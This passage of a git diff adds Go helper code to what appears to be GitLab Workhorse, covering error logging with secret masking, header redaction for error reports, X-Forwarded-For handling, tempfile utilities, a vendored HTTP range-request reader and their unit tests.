+ printError(r, err, fields)
+}
+
+func CaptureAndFail(w http.ResponseWriter, r *http.Request, err error, msg string, code int) {
+ http.Error(w, msg, code)
+ LogError(r, err)
+}
+
+func CaptureAndFailWithFields(w http.ResponseWriter, r *http.Request, err error, msg string, code int, fields log.Fields) {
+ http.Error(w, msg, code)
+ LogErrorWithFields(r, err, fields)
+}
+
+func Fail500(w http.ResponseWriter, r *http.Request, err error) {
+ CaptureAndFail(w, r, err, "Internal server error", http.StatusInternalServerError)
+}
+
+func Fail500WithFields(w http.ResponseWriter, r *http.Request, err error, fields log.Fields) {
+ CaptureAndFailWithFields(w, r, err, "Internal server error", http.StatusInternalServerError, fields)
+}
+
+func RequestEntityTooLarge(w http.ResponseWriter, r *http.Request, err error) {
+ CaptureAndFail(w, r, err, "Request Entity Too Large", http.StatusRequestEntityTooLarge)
+}
+
+func printError(r *http.Request, err error, fields log.Fields) {
+ if r != nil {
+ entry := log.WithContextFields(r.Context(), log.Fields{
+ "method": r.Method,
+ "uri": mask.URL(r.RequestURI),
+ })
+ entry.WithFields(fields).WithError(err).Error("error")
+ } else {
+ log.WithFields(fields).WithError(err).Error("unknown error")
+ }
+}
+
+func SetNoCacheHeaders(header http.Header) {
+ header.Set("Cache-Control", "no-cache, no-store, max-age=0, must-revalidate")
+ header.Set("Pragma", "no-cache")
+ header.Set("Expires", "Fri, 01 Jan 1990 00:00:00 GMT")
+}
+
+func OpenFile(path string) (file *os.File, fi os.FileInfo, err error) {
+ file, err = os.Open(path)
+ if err != nil {
+ return
+ }
+
+ defer func() {
+ if err != nil {
+ file.Close()
+ }
+ }()
+
+ fi, err = file.Stat()
+ if err != nil {
+ return
+ }
+
+ // The os.Open can also open directories
+ if fi.IsDir() {
+ err = &os.PathError{
+ Op: "open",
+ Path: path,
+ Err: errors.New("path is directory"),
+ }
+ return
+ }
+
+ return
+}
+
+func URLMustParse(s string) *url.URL {
+ u, err := url.Parse(s)
+ if err != nil {
+ log.WithError(err).WithField("url", s).Fatal("urlMustParse")
+ }
+ return u
+}
+
+func HTTPError(w http.ResponseWriter, r *http.Request, error string, code int) {
+ if r.ProtoAtLeast(1, 1) {
+ // Force client to disconnect if we render request error
+ w.Header().Set("Connection", "close")
+ }
+
+ http.Error(w, error, code)
+}
+
+func HeaderClone(h http.Header) http.Header {
+ h2 := make(http.Header, len(h))
+ for k, vv := range h {
+ vv2 := make([]string, len(vv))
+ copy(vv2, vv)
+ h2[k] = vv2
+ }
+ return h2
+}
+
+func CleanUpProcessGroup(cmd *exec.Cmd) {
+ if cmd == nil {
+ return
+ }
+
+ process := cmd.Process
+ if process != nil && process.Pid > 0 {
+ // Send SIGTERM to the process group of cmd
+ syscall.Kill(-process.Pid, syscall.SIGTERM)
+ }
+
+ // reap our child process
+ cmd.Wait()
+}
+
+func ExitStatus(err error) (int, bool) {
+ exitError, ok := err.(*exec.ExitError)
+ if !ok {
+ return 0, false
+ }
+
+ waitStatus, ok := exitError.Sys().(syscall.WaitStatus)
+ if !ok {
+ return 0, false
+ }
+
+ return waitStatus.ExitStatus(), true
+}
+
+func DisableResponseBuffering(w http.ResponseWriter) {
+ w.Header().Set(NginxResponseBufferHeader, "no")
+}
+
+func AllowResponseBuffering(w http.ResponseWriter) {
+ w.Header().Del(NginxResponseBufferHeader)
+}
+
+func FixRemoteAddr(r *http.Request) {
+ // Unix domain sockets have a remote addr of @. This will make the
+ // xff package lookup the X-Forwarded-For address if available.
+ if r.RemoteAddr == "@" {
+ r.RemoteAddr = "127.0.0.1:0"
+ }
+ r.RemoteAddr = xff.GetRemoteAddr(r)
+}
+
+func SetForwardedFor(newHeaders *http.Header, originalRequest *http.Request) {
+ if clientIP, _, err := net.SplitHostPort(originalRequest.RemoteAddr); err == nil {
+ var header string
+
+ // If we aren't the first proxy retain prior
+ // X-Forwarded-For information as a comma+space
+ // separated list and fold multiple headers into one.
+ if prior, ok := originalRequest.Header["X-Forwarded-For"]; ok {
+ header = strings.Join(prior, ", ") + ", " + clientIP
+ } else {
+ header = clientIP
+ }
+ newHeaders.Set("X-Forwarded-For", header)
+ }
+}
+
+func IsContentType(expected, actual string) bool {
+ parsed, _, err := mime.ParseMediaType(actual)
+ return err == nil && parsed == expected
+}
+
+func IsApplicationJson(r *http.Request) bool {
+ contentType := r.Header.Get("Content-Type")
+ return IsContentType("application/json", contentType)
+}
+
+func ReadRequestBody(w http.ResponseWriter, r *http.Request, maxBodySize int64) ([]byte, error) {
+ limitedBody := http.MaxBytesReader(w, r.Body, maxBodySize)
+ defer limitedBody.Close()
+
+ return ioutil.ReadAll(limitedBody)
+}
+
+func CloneRequestWithNewBody(r *http.Request, body []byte) *http.Request {
+ newReq := *r
+ newReq.Body = ioutil.NopCloser(bytes.NewReader(body))
+ newReq.Header = HeaderClone(r.Header)
+ newReq.ContentLength = int64(len(body))
+ return &newReq
+}
diff --git a/workhorse/internal/helper/helpers_test.go b/workhorse/internal/helper/helpers_test.go
new file mode 100644
index 00000000000..6a895aded03
--- /dev/null
+++ b/workhorse/internal/helper/helpers_test.go
@@ -0,0 +1,258 @@
+package helper
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "github.com/sirupsen/logrus"
+ "github.com/stretchr/testify/require"
+)
+
+func TestFixRemoteAddr(t *testing.T) {
+ testCases := []struct {
+ initial string
+ forwarded string
+ expected string
+ }{
+ {initial: "@", forwarded: "", expected: "127.0.0.1:0"},
+ {initial: "@", forwarded: "18.245.0.1", expected: "18.245.0.1:0"},
+ {initial: "@", forwarded: "127.0.0.1", expected: "127.0.0.1:0"},
+ {initial: "@", forwarded: "192.168.0.1", expected: "127.0.0.1:0"},
+ {initial: "192.168.1.1:0", forwarded: "", expected: "192.168.1.1:0"},
+ {initial: "192.168.1.1:0", forwarded: "18.245.0.1", expected: "18.245.0.1:0"},
+ }
+
+ for _, tc := range testCases {
+ req, err := http.NewRequest("POST", "unix:///tmp/test.socket/info/refs", nil)
+ require.NoError(t, err)
+
+ req.RemoteAddr = tc.initial
+
+ if tc.forwarded != "" {
+ req.Header.Add("X-Forwarded-For", tc.forwarded)
+ }
+
+ FixRemoteAddr(req)
+
+ require.Equal(t, tc.expected, req.RemoteAddr)
+ }
+}
+
+func TestSetForwardedForGeneratesHeader(t *testing.T) {
+ testCases := []struct {
+ remoteAddr string
+ previousForwardedFor []string
+ expected string
+ }{
+ {
+ "8.8.8.8:3000",
+ nil,
+ "8.8.8.8",
+ },
+ {
+ "8.8.8.8:3000",
+ []string{"138.124.33.63, 151.146.211.237"},
+ "138.124.33.63, 151.146.211.237, 8.8.8.8",
+ },
+ {
+ "8.8.8.8:3000",
+ []string{"8.154.76.107", "115.206.118.179"},
+ "8.154.76.107, 115.206.118.179, 8.8.8.8",
+ },
+ }
+ for _, tc := range testCases {
+ headers := http.Header{}
+ originalRequest := http.Request{
+ RemoteAddr: tc.remoteAddr,
+ }
+
+ if tc.previousForwardedFor != nil {
+ originalRequest.Header = http.Header{
+ "X-Forwarded-For": tc.previousForwardedFor,
+ }
+ }
+
+ SetForwardedFor(&headers, &originalRequest)
+
+ result := headers.Get("X-Forwarded-For")
+ if result != tc.expected {
+ t.Fatalf("Expected %v, got %v", tc.expected, result)
+ }
+ }
+}
+
+func TestReadRequestBody(t *testing.T) {
+ data := []byte("123456")
+ rw := httptest.NewRecorder()
+ req, _ := http.NewRequest("POST", "/test", bytes.NewBuffer(data))
+
+ result, err := ReadRequestBody(rw, req, 1000)
+ require.NoError(t, err)
+ require.Equal(t, data, result)
+}
+
+func TestReadRequestBodyLimit(t *testing.T) {
+ data := []byte("123456")
+ rw := httptest.NewRecorder()
+ req, _ := http.NewRequest("POST", "/test", bytes.NewBuffer(data))
+
+ _, err := ReadRequestBody(rw, req, 2)
+ require.Error(t, err)
+}
+
+func TestCloneRequestWithBody(t *testing.T) {
+ input := []byte("test")
+ newInput := []byte("new body")
+ req, _ := http.NewRequest("POST", "/test", bytes.NewBuffer(input))
+ newReq := CloneRequestWithNewBody(req, newInput)
+
+ require.NotEqual(t, req, newReq)
+ require.NotEqual(t, req.Body, newReq.Body)
+ require.NotEqual(t, len(newInput), newReq.ContentLength)
+
+ var buffer bytes.Buffer
+ io.Copy(&buffer, newReq.Body)
+ require.Equal(t, newInput, buffer.Bytes())
+}
+
+func TestApplicationJson(t *testing.T) {
+ req, _ := http.NewRequest("POST", "/test", nil)
+ req.Header.Set("Content-Type", "application/json")
+
+ require.True(t, IsApplicationJson(req), "expected to match 'application/json' as 'application/json'")
+
+ req.Header.Set("Content-Type", "application/json; charset=utf-8")
+ require.True(t, IsApplicationJson(req), "expected to match 'application/json; charset=utf-8' as 'application/json'")
+
+ req.Header.Set("Content-Type", "text/plain")
+ require.False(t, IsApplicationJson(req), "expected not to match 'text/plain' as 'application/json'")
+}
+
+func TestFail500WorksWithNils(t *testing.T) {
+ body := bytes.NewBuffer(nil)
+ w := httptest.NewRecorder()
+ w.Body = body
+
+ Fail500(w, nil, nil)
+
+ require.Equal(t, http.StatusInternalServerError, w.Code)
+ require.Equal(t, "Internal server error\n", body.String())
+}
+
+func TestLogError(t *testing.T) {
+ tests := []struct {
+ name string
+ method string
+ uri string
+ err error
+ logMatchers []string
+ }{
+ {
+ name: "nil_request",
+ err: fmt.Errorf("crash"),
+ logMatchers: []string{
+ `level=error msg="unknown error" error=crash`,
+ },
+ },
+ {
+ name: "nil_request_nil_error",
+ err: nil,
+ logMatchers: []string{
+ `level=error msg="unknown error" error="<nil>"`,
+ },
+ },
+ {
+ name: "basic_url",
+ method: "GET",
+ uri: "http://localhost:3000/",
+ err: fmt.Errorf("error"),
+ logMatchers: []string{
+ `level=error msg=error correlation_id= error=error method=GET uri="http://localhost:3000/"`,
+ },
+ },
+ {
+ name: "secret_url",
+ method: "GET",
+ uri: "http://localhost:3000/path?certificate=123&sharedSecret=123&import_url=the_url&my_password_string=password",
+ err: fmt.Errorf("error"),
+ logMatchers: []string{
+ `level=error msg=error correlation_id= error=error method=GET uri="http://localhost:3000/path\?certificate=\[FILTERED\]&sharedSecret=\[FILTERED\]&import_url=\[FILTERED\]&my_password_string=\[FILTERED\]"`,
+ },
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ buf := &bytes.Buffer{}
+
+ oldOut := logrus.StandardLogger().Out
+ logrus.StandardLogger().Out = buf
+ defer func() {
+ logrus.StandardLogger().Out = oldOut
+ }()
+
+ var r *http.Request
+ if tt.uri != "" {
+ r = httptest.NewRequest(tt.method, tt.uri, nil)
+ }
+
+ LogError(r, tt.err)
+
+ logString := buf.String()
+ for _, v := range tt.logMatchers {
+ require.Regexp(t, v, logString)
+ }
+ })
+ }
+}
+
+func TestLogErrorWithFields(t *testing.T) {
+ tests := []struct {
+ name string
+ request *http.Request
+ err error
+ fields map[string]interface{}
+ logMatcher string
+ }{
+ {
+ name: "nil_request",
+ err: fmt.Errorf("crash"),
+ fields: map[string]interface{}{"extra_one": 123},
+ logMatcher: `level=error msg="unknown error" error=crash extra_one=123`,
+ },
+ {
+ name: "nil_request_nil_error",
+ err: nil,
+ fields: map[string]interface{}{"extra_one": 123, "extra_two": "test"},
+ logMatcher: `level=error msg="unknown error" error="<nil>" extra_one=123 extra_two=test`,
+ },
+ {
+ name: "basic_url",
+ request: httptest.NewRequest("GET", "http://localhost:3000/", nil),
+ err: fmt.Errorf("error"),
+ fields: map[string]interface{}{"extra_one": 123, "extra_two": "test"},
+ logMatcher: `level=error msg=error correlation_id= error=error extra_one=123 extra_two=test method=GET uri="http://localhost:3000/`,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ buf := &bytes.Buffer{}
+
+ oldOut := logrus.StandardLogger().Out
+ logrus.StandardLogger().Out = buf
+ defer func() {
+ logrus.StandardLogger().Out = oldOut
+ }()
+
+ LogErrorWithFields(tt.request, tt.err, tt.fields)
+
+ logString := buf.String()
+ require.Contains(t, logString, tt.logMatcher)
+ })
+ }
+}
diff --git a/workhorse/internal/helper/raven.go b/workhorse/internal/helper/raven.go
new file mode 100644
index 00000000000..ea1d0e1f6cc
--- /dev/null
+++ b/workhorse/internal/helper/raven.go
@@ -0,0 +1,58 @@
+package helper
+
+import (
+ "net/http"
+ "reflect"
+
+ raven "github.com/getsentry/raven-go"
+
+ //lint:ignore SA1019 this was recently deprecated. Update workhorse to use labkit errortracking package.
+ correlation "gitlab.com/gitlab-org/labkit/correlation/raven"
+
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+var ravenHeaderBlacklist = []string{
+ "Authorization",
+ "Private-Token",
+}
+
+func captureRavenError(r *http.Request, err error, fields log.Fields) {
+ client := raven.DefaultClient
+ extra := raven.Extra{}
+
+ for k, v := range fields {
+ extra[k] = v
+ }
+
+ interfaces := []raven.Interface{}
+ if r != nil {
+ CleanHeadersForRaven(r)
+ interfaces = append(interfaces, raven.NewHttp(r))
+
+ //lint:ignore SA1019 this was recently deprecated. Update workhorse to use labkit errortracking package.
+ extra = correlation.SetExtra(r.Context(), extra)
+ }
+
+ exception := &raven.Exception{
+ Stacktrace: raven.NewStacktrace(2, 3, nil),
+ Value: err.Error(),
+ Type: reflect.TypeOf(err).String(),
+ }
+ interfaces = append(interfaces, exception)
+
+ packet := raven.NewPacketWithExtra(err.Error(), extra, interfaces...)
+ client.Capture(packet, nil)
+}
+
+func CleanHeadersForRaven(r *http.Request) {
+ if r == nil {
+ return
+ }
+
+ for _, key := range ravenHeaderBlacklist {
+ if r.Header.Get(key) != "" {
+ r.Header.Set(key, "[redacted]")
+ }
+ }
+}
diff --git a/workhorse/internal/helper/tempfile.go b/workhorse/internal/helper/tempfile.go
new file mode 100644
index 00000000000..d8fc0d44698
--- /dev/null
+++ b/workhorse/internal/helper/tempfile.go
@@ -0,0 +1,35 @@
+package helper
+
+import (
+ "io"
+ "io/ioutil"
+ "os"
+)
+
+func ReadAllTempfile(r io.Reader) (tempfile *os.File, err error) {
+ tempfile, err = ioutil.TempFile("", "gitlab-workhorse-read-all-tempfile")
+ if err != nil {
+ return nil, err
+ }
+
+ defer func() {
+ // Avoid leaking an open file if the function returns with an error
+ if err != nil {
+ tempfile.Close()
+ }
+ }()
+
+ if err := os.Remove(tempfile.Name()); err != nil {
+ return nil, err
+ }
+
+ if _, err := io.Copy(tempfile, r); err != nil {
+ return nil, err
+ }
+
+ if _, err := tempfile.Seek(0, 0); err != nil {
+ return nil, err
+ }
+
+ return tempfile, nil
+}
diff --git a/workhorse/internal/helper/writeafterreader.go b/workhorse/internal/helper/writeafterreader.go
new file mode 100644
index 00000000000..d583ae4a9b8
--- /dev/null
+++ b/workhorse/internal/helper/writeafterreader.go
@@ -0,0 +1,144 @@
+package helper
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "os"
+ "sync"
+)
+
+type WriteFlusher interface {
+ io.Writer
+ Flush() error
+}
+
+// Couple r and w so that until r has been drained (before r.Read() has
+// returned some error), all writes to w are sent to a tempfile first.
+// The caller must call Flush() on the returned WriteFlusher to ensure
+// all data is propagated to w.
+func NewWriteAfterReader(r io.Reader, w io.Writer) (io.Reader, WriteFlusher) {
+ br := &busyReader{Reader: r}
+ return br, &coupledWriter{Writer: w, busyReader: br}
+}
+
+type busyReader struct {
+ io.Reader
+
+ error
+ errorMutex sync.RWMutex
+}
+
+func (r *busyReader) Read(p []byte) (int, error) {
+ if err := r.getError(); err != nil {
+ return 0, err
+ }
+
+ n, err := r.Reader.Read(p)
+ if err != nil {
+ if err != io.EOF {
+ err = fmt.Errorf("busyReader: %v", err)
+ }
+ r.setError(err)
+ }
+ return n, err
+}
+
+func (r *busyReader) IsBusy() bool {
+ return r.getError() == nil
+}
+
+func (r *busyReader) getError() error {
+ r.errorMutex.RLock()
+ defer r.errorMutex.RUnlock()
+ return r.error
+}
+
+func (r *busyReader) setError(err error) {
+ if err == nil {
+ panic("busyReader: attempt to reset error to nil")
+ }
+ r.errorMutex.Lock()
+ defer r.errorMutex.Unlock()
+ r.error = err
+}
+
+type coupledWriter struct {
+ io.Writer
+ *busyReader
+
+ tempfile *os.File
+ tempfileMutex sync.Mutex
+
+ writeError error
+}
+
+func (w *coupledWriter) Write(data []byte) (int, error) {
+ if w.writeError != nil {
+ return 0, w.writeError
+ }
+
+ if w.busyReader.IsBusy() {
+ n, err := w.tempfileWrite(data)
+ if err != nil {
+ w.writeError = fmt.Errorf("coupledWriter: %v", err)
+ }
+ return n, w.writeError
+ }
+
+ if err := w.Flush(); err != nil {
+ w.writeError = fmt.Errorf("coupledWriter: %v", err)
+ return 0, w.writeError
+ }
+
+ return w.Writer.Write(data)
+}
+
+func (w *coupledWriter) Flush() error {
+ w.tempfileMutex.Lock()
+ defer w.tempfileMutex.Unlock()
+
+ tempfile := w.tempfile
+ if tempfile == nil {
+ return nil
+ }
+
+ w.tempfile = nil
+ defer tempfile.Close()
+
+ if _, err := tempfile.Seek(0, 0); err != nil {
+ return err
+ }
+ if _, err := io.Copy(w.Writer, tempfile); err != nil {
+ return err
+ }
+ return nil
+}
+
+func (w *coupledWriter) tempfileWrite(data []byte) (int, error) {
+ w.tempfileMutex.Lock()
+ defer w.tempfileMutex.Unlock()
+
+ if w.tempfile == nil {
+ tempfile, err := w.newTempfile()
+ if err != nil {
+ return 0, err
+ }
+ w.tempfile = tempfile
+ }
+
+ return w.tempfile.Write(data)
+}
+
+func (*coupledWriter) newTempfile() (tempfile *os.File, err error) {
+ tempfile, err = ioutil.TempFile("", "gitlab-workhorse-coupledWriter")
+ if err != nil {
+ return nil, err
+ }
+ if err := os.Remove(tempfile.Name()); err != nil {
+ tempfile.Close()
+ return nil, err
+ }
+
+ return tempfile, nil
+}
diff --git a/workhorse/internal/helper/writeafterreader_test.go b/workhorse/internal/helper/writeafterreader_test.go
new file mode 100644
index 00000000000..67cb3e6e542
--- /dev/null
+++ b/workhorse/internal/helper/writeafterreader_test.go
@@ -0,0 +1,115 @@
+package helper
+
+import (
+ "bytes"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "testing"
+ "testing/iotest"
+)
+
+func TestBusyReader(t *testing.T) {
+ testData := "test data"
+ r := testReader(testData)
+ br, _ := NewWriteAfterReader(r, &bytes.Buffer{})
+
+ result, err := ioutil.ReadAll(br)
+ if err != nil {
+ t.Fatal(err)
+ }
+
+ if string(result) != testData {
+ t.Fatalf("expected %q, got %q", testData, result)
+ }
+}
+
+func TestFirstWriteAfterReadDone(t *testing.T) {
+ writeRecorder := &bytes.Buffer{}
+ br, cw := NewWriteAfterReader(&bytes.Buffer{}, writeRecorder)
+ if _, err := io.Copy(ioutil.Discard, br); err != nil {
+ t.Fatalf("copy from busyreader: %v", err)
+ }
+ testData := "test data"
+ if _, err := io.Copy(cw, testReader(testData)); err != nil {
+ t.Fatalf("copy test data: %v", err)
+ }
+ if err := cw.Flush(); err != nil {
+ t.Fatalf("flush error: %v", err)
+ }
+ if result := writeRecorder.String(); result != testData {
+ t.Fatalf("expected %q, got %q", testData, result)
+ }
+}
+
+func TestWriteDelay(t *testing.T) {
+ writeRecorder := &bytes.Buffer{}
+ w := &complainingWriter{Writer: writeRecorder}
+ br, cw := NewWriteAfterReader(&bytes.Buffer{}, w)
+
+ testData1 := "1 test"
+ if _, err := io.Copy(cw, testReader(testData1)); err != nil {
+ t.Fatalf("error on first copy: %v", err)
+ }
+
+ // Unblock the coupled writer by draining the reader
+ if _, err := io.Copy(ioutil.Discard, br); err != nil {
+ t.Fatalf("copy from busyreader: %v", err)
+ }
+ // Now it is no longer an error if 'w' receives a Write()
+ w.CheerUp()
+
+ testData2 := "2 experiment"
+ if _, err := io.Copy(cw, testReader(testData2)); err != nil {
+ t.Fatalf("error on second copy: %v", err)
+ }
+
+ if err := cw.Flush(); err != nil {
+ t.Fatalf("flush error: %v", err)
+ }
+
+ expected := testData1 + testData2
+ if result := writeRecorder.String(); result != expected {
+ t.Fatalf("total write: expected %q, got %q", expected, result)
+ }
+}
+
+func TestComplainingWriterSanity(t *testing.T) {
+ recorder := &bytes.Buffer{}
+ w := &complainingWriter{Writer: recorder}
+
+ testData := "test data"
+ if _, err := io.Copy(w, testReader(testData)); err == nil {
+ t.Error("error expected, none received")
+ }
+
+ w.CheerUp()
+ if _, err := io.Copy(w, testReader(testData)); err != nil {
+ t.Errorf("copy after CheerUp: %v", err)
+ }
+
+ if result := recorder.String(); result != testData {
+ t.Errorf("expected %q, got %q", testData, result)
+ }
+}
+
+func testReader(data string) io.Reader {
+ return iotest.OneByteReader(bytes.NewBuffer([]byte(data)))
+}
+
+type complainingWriter struct {
+ happy bool
+ io.Writer
+}
+
+func (comp *complainingWriter) Write(data []byte) (int, error) {
+ if comp.happy {
+ return comp.Writer.Write(data)
+ }
+
+ return 0, fmt.Errorf("I am unhappy about you wanting to write %q", data)
+}
+
+func (comp *complainingWriter) CheerUp() {
+ comp.happy = true
+}
diff --git a/workhorse/internal/httprs/LICENSE b/workhorse/internal/httprs/LICENSE
new file mode 100644
index 00000000000..58b9dd5ced1
--- /dev/null
+++ b/workhorse/internal/httprs/LICENSE
@@ -0,0 +1,19 @@
+Copyright (c) 2015 Jean-François Bustarret
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE. \ No newline at end of file
diff --git a/workhorse/internal/httprs/README.md b/workhorse/internal/httprs/README.md
new file mode 100644
index 00000000000..4f42489ab73
--- /dev/null
+++ b/workhorse/internal/httprs/README.md
@@ -0,0 +1,2 @@
+This directory contains a vendored copy of https://github.com/jfbus/httprs at commit SHA
+b0af8319bb15446bbf29715477f841a49330a1e7.
diff --git a/workhorse/internal/httprs/httprs.go b/workhorse/internal/httprs/httprs.go
new file mode 100644
index 00000000000..a38230c1968
--- /dev/null
+++ b/workhorse/internal/httprs/httprs.go
@@ -0,0 +1,217 @@
+/*
+Package httprs provides a ReadSeeker for http.Response.Body.
+
+Usage :
+
+ resp, err := http.Get(url)
+ rs := httprs.NewHttpReadSeeker(resp)
+ defer rs.Close()
+ io.ReadFull(rs, buf) // reads the first bytes from the response body
+ rs.Seek(1024, 0) // moves the position, but does no range request
+ io.ReadFull(rs, buf) // does a range request and reads from the response body
+
+If you want use a specific http.Client for additional range requests :
+ rs := httprs.NewHttpReadSeeker(resp, client)
+*/
+package httprs
+
+import (
+ "context"
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+
+ "github.com/mitchellh/copystructure"
+)
+
+const shortSeekBytes = 1024
+
+// A HttpReadSeeker reads from a http.Response.Body. It can Seek
+// by doing range requests.
+type HttpReadSeeker struct {
+ c *http.Client
+ req *http.Request
+ res *http.Response
+ ctx context.Context
+ r io.ReadCloser
+ pos int64
+
+ Requests int
+}
+
+var _ io.ReadCloser = (*HttpReadSeeker)(nil)
+var _ io.Seeker = (*HttpReadSeeker)(nil)
+
+var (
+ // ErrNoContentLength is returned by Seek when the initial http response did not include a Content-Length header
+ ErrNoContentLength = errors.New("header Content-Length was not set")
+ // ErrRangeRequestsNotSupported is returned by Seek and Read
+ // when the remote server does not allow range requests (Accept-Ranges was not set)
+ ErrRangeRequestsNotSupported = errors.New("range requests are not supported by the remote server")
+ // ErrInvalidRange is returned by Read when trying to read past the end of the file
+ ErrInvalidRange = errors.New("invalid range")
+ // ErrContentHasChanged is returned by Read when the content has changed since the first request
+ ErrContentHasChanged = errors.New("content has changed since first request")
+)
+
+// NewHttpReadSeeker returns a HttpReadSeeker, using the http.Response and, optionaly, the http.Client
+// that needs to be used for future range requests. If no http.Client is given, http.DefaultClient will
+// be used.
+//
+// res.Request will be reused for range requests, headers may be added/removed
+func NewHttpReadSeeker(res *http.Response, client ...*http.Client) *HttpReadSeeker {
+ r := &HttpReadSeeker{
+ req: res.Request,
+ ctx: res.Request.Context(),
+ res: res,
+ r: res.Body,
+ }
+ if len(client) > 0 {
+ r.c = client[0]
+ } else {
+ r.c = http.DefaultClient
+ }
+ return r
+}
+
+// Clone clones the reader to enable parallel downloads of ranges
+func (r *HttpReadSeeker) Clone() (*HttpReadSeeker, error) {
+ req, err := copystructure.Copy(r.req)
+ if err != nil {
+ return nil, err
+ }
+ return &HttpReadSeeker{
+ req: req.(*http.Request),
+ res: r.res,
+ r: nil,
+ c: r.c,
+ }, nil
+}
+
+// Read reads from the response body. It does a range request if Seek was called before.
+//
+// May return ErrRangeRequestsNotSupported, ErrInvalidRange or ErrContentHasChanged
+func (r *HttpReadSeeker) Read(p []byte) (n int, err error) {
+ if r.r == nil {
+ err = r.rangeRequest()
+ }
+ if r.r != nil {
+ n, err = r.r.Read(p)
+ r.pos += int64(n)
+ }
+ return
+}
+
+// ReadAt reads from the response body starting at offset off.
+//
+// May return ErrRangeRequestsNotSupported, ErrInvalidRange or ErrContentHasChanged
+func (r *HttpReadSeeker) ReadAt(p []byte, off int64) (n int, err error) {
+ var nn int
+
+ r.Seek(off, 0)
+
+ for n < len(p) && err == nil {
+ nn, err = r.Read(p[n:])
+ n += nn
+ }
+ return
+}
+
+// Close closes the response body
+func (r *HttpReadSeeker) Close() error {
+ if r.r != nil {
+ return r.r.Close()
+ }
+ return nil
+}
+
+// Seek moves the reader position to a new offset.
+//
+// It does not send http requests, allowing for multiple seeks without overhead.
+// The http request will be sent by the next Read call.
+//
+// May return ErrNoContentLength or ErrRangeRequestsNotSupported
+func (r *HttpReadSeeker) Seek(offset int64, whence int) (int64, error) {
+ var err error
+ switch whence {
+ case 0:
+ case 1:
+ offset += r.pos
+ case 2:
+ if r.res.ContentLength <= 0 {
+ return 0, ErrNoContentLength
+ }
+ offset = r.res.ContentLength - offset
+ }
+ if r.r != nil {
+ // Try to read, which is cheaper than doing a request
+ if r.pos < offset && offset-r.pos <= shortSeekBytes {
+ _, err := io.CopyN(ioutil.Discard, r, offset-r.pos)
+ if err != nil {
+ return 0, err
+ }
+ }
+
+ if r.pos != offset {
+ err = r.r.Close()
+ r.r = nil
+ }
+ }
+ r.pos = offset
+ return r.pos, err
+}
+
+func cloneHeader(h http.Header) http.Header {
+ h2 := make(http.Header, len(h))
+ for k, vv := range h {
+ vv2 := make([]string, len(vv))
+ copy(vv2, vv)
+ h2[k] = vv2
+ }
+ return h2
+}
+
+func (r *HttpReadSeeker) newRequest() *http.Request {
+ newreq := r.req.WithContext(r.ctx) // includes shallow copies of maps, but okay
+ if r.req.ContentLength == 0 {
+ newreq.Body = nil // Issue 16036: nil Body for http.Transport retries
+ }
+ newreq.Header = cloneHeader(r.req.Header)
+ return newreq
+}
+
+func (r *HttpReadSeeker) rangeRequest() error {
+ r.req = r.newRequest()
+ r.req.Header.Set("Range", fmt.Sprintf("bytes=%d-", r.pos))
+ etag, last := r.res.Header.Get("ETag"), r.res.Header.Get("Last-Modified")
+ switch {
+ case last != "":
+ r.req.Header.Set("If-Range", last)
+ case etag != "":
+ r.req.Header.Set("If-Range", etag)
+ }
+
+ r.Requests++
+
+ res, err := r.c.Do(r.req)
+ if err != nil {
+ return err
+ }
+ switch res.StatusCode {
+ case http.StatusRequestedRangeNotSatisfiable:
+ return ErrInvalidRange
+ case http.StatusOK:
+ // some servers return 200 OK for bytes=0-
+ if r.pos > 0 ||
+ (etag != "" && etag != res.Header.Get("ETag")) {
+ return ErrContentHasChanged
+ }
+ fallthrough
+ case http.StatusPartialContent:
+ r.r = res.Body
+ return nil
+ }
+ return ErrRangeRequestsNotSupported
+}
diff --git a/workhorse/internal/httprs/httprs_test.go b/workhorse/internal/httprs/httprs_test.go
new file mode 100644
index 00000000000..62279d895c9
--- /dev/null
+++ b/workhorse/internal/httprs/httprs_test.go
@@ -0,0 +1,257 @@
+package httprs
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+ "time"
+
+ . "github.com/smartystreets/goconvey/convey"
+)
+
+type fakeResponseWriter struct {
+ code int
+ h http.Header
+ tmp *os.File
+}
+
+func (f *fakeResponseWriter) Header() http.Header {
+ return f.h
+}
+
+func (f *fakeResponseWriter) Write(b []byte) (int, error) {
+ return f.tmp.Write(b)
+}
+
+func (f *fakeResponseWriter) Close(b []byte) error {
+ return f.tmp.Close()
+}
+
+func (f *fakeResponseWriter) WriteHeader(code int) {
+ f.code = code
+}
+
+func (f *fakeResponseWriter) Response() *http.Response {
+ f.tmp.Seek(0, io.SeekStart)
+ return &http.Response{Body: f.tmp, StatusCode: f.code, Header: f.h}
+}
+
+type fakeRoundTripper struct {
+ src *os.File
+ downgradeZeroToNoRange bool
+}
+
+func (f *fakeRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) {
+ fw := &fakeResponseWriter{h: http.Header{}}
+ var err error
